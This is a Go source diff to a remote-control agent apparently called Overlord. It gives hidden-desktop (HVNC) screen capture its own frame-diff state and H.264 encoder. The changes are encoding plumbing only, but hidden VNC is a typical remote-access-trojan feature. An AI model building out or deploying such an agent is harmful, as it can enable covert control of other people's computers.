diff --git a/Overlord-Client/cmd/agent/capture/capture.go b/Overlord-Client/cmd/agent/capture/capture.go index 3549665..cafa37d 100644 --- a/Overlord-Client/cmd/agent/capture/capture.go +++ b/Overlord-Client/cmd/agent/capture/capture.go @@ -418,6 +418,10 @@ var ( prevMu sync.Mutex prevFrame *prevImage + + hvncPrevMu sync.Mutex + hvncPrevFrame *prevImage + hvncLastKeyframe atomic.Int64 ) type prevImage struct { @@ -713,14 +717,14 @@ func buildFrameHVNC(img *image.RGBA, display int, quality int) (wire.Frame, time codec = "jpeg" } else { if webrtcpub.ConsumeKeyframeRequest() { - resetH264Encoder() + resetH264EncoderHVNC() } - h264Bytes, err := encodeH264Frame(img) + h264Bytes, err := encodeH264FrameHVNC(img) if err == nil && len(h264Bytes) > 0 { - prevMu.Lock() - copyPrev(img) - prevMu.Unlock() - lastKeyframe.Store(now.UnixNano()) + hvncPrevMu.Lock() + copyPrevHVNC(img) + hvncPrevMu.Unlock() + hvncLastKeyframe.Store(now.UnixNano()) statFullFrames.Add(1) frame := wire.Frame{Type: "frame", Header: wire.FrameHeader{Monitor: display, FPS: 0, Format: "h264", HVNC: true}, Data: h264Bytes} return frame, time.Since(encStart), nil @@ -737,16 +741,16 @@ func buildFrameHVNC(img *image.RGBA, display int, quality int) (wire.Frame, time } } - prevMu.Lock() - pf := prevFrame - prevMu.Unlock() + hvncPrevMu.Lock() + pf := hvncPrevFrame + hvncPrevMu.Unlock() - if pf == nil || pf.w != width || pf.h != height || now.Sub(time.Unix(0, lastKeyframe.Load())) > keyframeEvery { + if pf == nil || pf.w != width || pf.h != height || now.Sub(time.Unix(0, hvncLastKeyframe.Load())) > keyframeEvery { jpegBytes, err := encodeJPEG(img, quality) - prevMu.Lock() - copyPrev(img) - prevMu.Unlock() - lastKeyframe.Store(now.UnixNano()) + hvncPrevMu.Lock() + copyPrevHVNC(img) + hvncPrevMu.Unlock() + hvncLastKeyframe.Store(now.UnixNano()) statFullFrames.Add(1) frame := wire.Frame{Type: "frame", Header: wire.FrameHeader{Monitor: display, FPS: 0, Format: "jpeg", HVNC: true}, Data: jpegBytes} return frame, time.Since(encStart), err @@ -772,10 +776,10 @@ func buildFrameHVNC(img *image.RGBA, display int, quality int) (wire.Frame, time if changedRatio > maxBlockRatio { jpegBytes, err := encodeJPEG(img, quality) - prevMu.Lock() - copyPrev(img) - prevMu.Unlock() - lastKeyframe.Store(now.UnixNano()) + hvncPrevMu.Lock() + copyPrevHVNC(img) + hvncPrevMu.Unlock() + hvncLastKeyframe.Store(now.UnixNano()) statBlockFallbacks.Add(1) statFullFrames.Add(1) frame := wire.Frame{Type: "frame", Header: wire.FrameHeader{Monitor: display, FPS: 0, Format: "jpeg", HVNC: true}, Data: jpegBytes} @@ -1315,6 +1319,22 @@ func copyPrev(img *image.RGBA) { } } +func copyPrevHVNC(img *image.RGBA) { + width := img.Bounds().Dx() + height := img.Bounds().Dy() + n := len(img.Pix) + if hvncPrevFrame != nil && cap(hvncPrevFrame.pix) >= n { + hvncPrevFrame.w = width + hvncPrevFrame.h = height + hvncPrevFrame.pix = hvncPrevFrame.pix[:n] + copy(hvncPrevFrame.pix, img.Pix) + } else { + buf := make([]byte, n) + copy(buf, img.Pix) + hvncPrevFrame = &prevImage{w: width, h: height, pix: buf} + } +} + func encodeBlockRaw(img *image.RGBA, x, y, w, h int) []byte { stride := img.Stride buf := make([]byte, w*h*4) @@ -1470,7 +1490,7 @@ func sendBlackFrameHVNC(ctx context.Context, env *rt.Env) error { img := image.NewRGBA(image.Rect(0, 0, 64, 64)) quality := 60 - frame, _, err := buildFrame(img, 0, quality) + frame, _, err := buildFrameHVNC(img, 0, quality) if err != nil { return err } diff --git a/Overlord-Client/cmd/agent/capture/h264_encoder_stub.go b/Overlord-Client/cmd/agent/capture/h264_encoder_stub.go index 3f1ba64..9de504b 100644 --- a/Overlord-Client/cmd/agent/capture/h264_encoder_stub.go +++ b/Overlord-Client/cmd/agent/capture/h264_encoder_stub.go @@ -21,4 +21,10 @@ func h264AvailabilityDetail() string { func resetH264Encoder() {} +func resetH264EncoderHVNC() {} + +func encodeH264FrameHVNC(_ *image.RGBA) ([]byte, error) { + return nil, errors.New("h264 support not available (cgo disabled)") +} + func SetH264TargetFPS(_ int) {} diff --git a/Overlord-Client/cmd/agent/capture/h264_encoder_x264.go b/Overlord-Client/cmd/agent/capture/h264_encoder_x264.go index e1ea713..abcd682 100644 --- a/Overlord-Client/cmd/agent/capture/h264_encoder_x264.go +++ b/Overlord-Client/cmd/agent/capture/h264_encoder_x264.go @@ -136,3 +136,88 @@ func closeH264EncoderLocked() { h264FPS = 0 h264Buf.Reset() } + +var ( + hvncH264Mu sync.Mutex + hvncH264Enc *x264.Encoder + hvncH264Buf bytes.Buffer + hvncH264Width int + hvncH264Height int + hvncH264FPS int + hvncH264Scratch []byte +) + +func encodeH264FrameHVNC(img *image.RGBA) ([]byte, error) { + bounds := img.Bounds() + width := bounds.Dx() + height := bounds.Dy() + + hvncH264Mu.Lock() + defer hvncH264Mu.Unlock() + + if err := ensureHVNCH264EncoderLocked(width, height); err != nil { + return nil, err + } + + hvncH264Buf.Reset() + if err := hvncH264Enc.Encode(img); err != nil { + return nil, err + } + + n := hvncH264Buf.Len() + if n == 0 { + return nil, nil + } + if cap(hvncH264Scratch) < n { + hvncH264Scratch = make([]byte, n, n+(n/4)) + } else { + hvncH264Scratch = hvncH264Scratch[:n] + } + copy(hvncH264Scratch, hvncH264Buf.Bytes()) + return hvncH264Scratch, nil +} + +func resetH264EncoderHVNC() { + hvncH264Mu.Lock() + defer hvncH264Mu.Unlock() + closeHVNCH264EncoderLocked() +} + +func ensureHVNCH264EncoderLocked(width, height int) error { + fps := activeH264FPS() + if hvncH264Enc != nil && hvncH264Width == width && hvncH264Height == height && hvncH264FPS == fps { + return nil + } + closeHVNCH264EncoderLocked() + opts := &x264.Options{ + Width: width, + Height: height, + FrameRate: fps, + Tune: "zerolatency", + Preset: "veryfast", + Profile: "main", + RateControl: "crf", + RateConstant: 23, + LogLevel: x264.LogError, + } + enc, err := x264.NewEncoder(&hvncH264Buf, opts) + if err != nil { + return err + } + hvncH264Enc = enc + hvncH264Width = width + hvncH264Height = height + hvncH264FPS = fps + return nil +} + +func closeHVNCH264EncoderLocked() { + if hvncH264Enc != nil { + _ = hvncH264Enc.Close() + hvncH264Enc = nil + } + hvncH264Width = 0 + hvncH264Height = 0 + hvncH264FPS = 0 + hvncH264Buf.Reset() +}